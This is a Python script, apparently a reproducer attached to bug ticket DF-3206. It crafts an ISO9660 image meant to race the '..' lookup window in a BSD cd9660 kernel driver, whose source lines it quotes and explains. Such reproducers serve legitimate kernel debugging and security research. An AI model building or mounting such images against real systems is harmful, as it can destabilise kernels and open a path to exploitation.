DF-3206 / craft_dotdot_iso.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 | #!/usr/bin/env python3 """ DF-3206 -- cd9660 image with a subdirectory holding 64 sibling entries, for racing the CNP_ISDOTDOT window in cd9660_lookup (sys/vfs/isofs/cd9660/cd9660_lookup.c:343-345): vn_unlock(pdp); :343 error = cd9660_vget_internal(vdp->v_mount, dp->i_ino, :344 &tdp, dp->i_ino != ino, ep); :345 dp->i_ino is shared scan-scratch on the iso_node; a concurrent lookup of a sibling entry inside the unlock->read window can substitute its own ino for ".." -> lstat("..") binds to a wrong (or plain-file) vnode. Layout (2048B sectors): 16 PVD (root extent 32) 17 terminator 32 root dir: ".", "..", "DIR" (extent 34, flags=2), filler entries 34 DIR extent: ".", ".." (parent=32), E00..E63 regular files """ import struct, sys BSZ = 2048 ROOT_EXT = 32 DIR_EXT = 34 DATA_EXT = 40 NSEC = 56 def b733(v): return struct.pack('<I', v) + struct.pack('>I', v) def b723(v): return struct.pack('<H', v) + struct.pack('>H', v) def susp(sig, body): assert len(sig) == 2 ln = 4 + len(body) return sig.encode() + bytes([ln, 1]) + body def sp(skip=0): return susp('SP', bytes([0xBE, 0xEF, skip])) def er(): i = b'IEEE_P1282' return susp('ER', bytes([len(i), 0, 0, 1]) + i) def px(mode=0o100644, links=1, uid=0, gid=0): return susp('PX', b733(mode) + b733(links) + b733(uid) + b733(gid)) def dirrec(name, extent, size, flags, susp_area=b''): pad = b'\x00' if not (len(name) & 1) else b'' base = (bytes([33 + len(name) + len(pad) + len(susp_area), 0]) + b733(extent) + b733(size) + bytes(7) + bytes([flags, 0, 0]) + b723(1) + bytes([len(name)]) + name) return base + pad + susp_area def build(outpath): img = bytearray(BSZ * NSEC) pvd = bytearray(BSZ) pvd[0] = 1; pvd[1:6] = b'CD001'; pvd[6] = 1 pvd[8:40] = b'DF3206 RACE IMAGE'.ljust(32) pvd[40:72] = b'DF3206'.ljust(32) pvd[80:88] = b733(NSEC) pvd[120:124] = b723(1); pvd[124:128] = b723(1) pvd[128:132] = b723(BSZ) pvd[132:140] = b733(10) root_rec = (bytes([34, 0]) + b733(ROOT_EXT) + b733(BSZ) + bytes(7) + bytes([2, 0, 0]) + b723(1) + bytes([1, 0])) pvd[156:190] = root_rec pvd[881] = 1 img[16 * BSZ:17 * BSZ] = pvd term = bytearray(BSZ) term[0] = 255; term[1:6] = b'CD001'; term[6] = 1 img[17 * BSZ:18 * BSZ] = term susp_dot = sp(0) + er() + px(0o040555, 1, 0, 0) susp_dot_file = sp(0) + er() + px(0o040555, 2, 0, 0) # root directory d = bytearray(BSZ) off = 0 recs = [dirrec(b'\x00', ROOT_EXT, BSZ, 2, susp_dot), dirrec(b'\x01', ROOT_EXT, BSZ, 2, susp_dot), dirrec(b'DIR', DIR_EXT, 3 * BSZ, 2, susp_dot)] for r in recs: d[off:off + len(r)] = r off += len(r) img[32 * BSZ:33 * BSZ] = d # DIR extent (2 blocks): . .. E00..E63 d = bytearray(BSZ * 3) off = 0 recs = [dirrec(b'\x00', DIR_EXT, BSZ, 2, susp_dot), dirrec(b'\x01', ROOT_EXT, BSZ, 2, susp_dot_file)] # ".." -> parent extent for i in range(64): recs.append(dirrec(('E%02d' % i).encode(), DATA_EXT, 0, 0, px())) for r in recs: assert off + len(r) <= 3 * BSZ, (off, len(r)) d[off:off + len(r)] = r off += len(r) img[34 * BSZ:37 * BSZ] = d with open(outpath, 'wb') as f: f.write(img) print("wrote %s: root@32 (DIR@34), DIR@34 with 64 E* entries" % outpath) if __name__ == '__main__': build(sys.argv[1]) |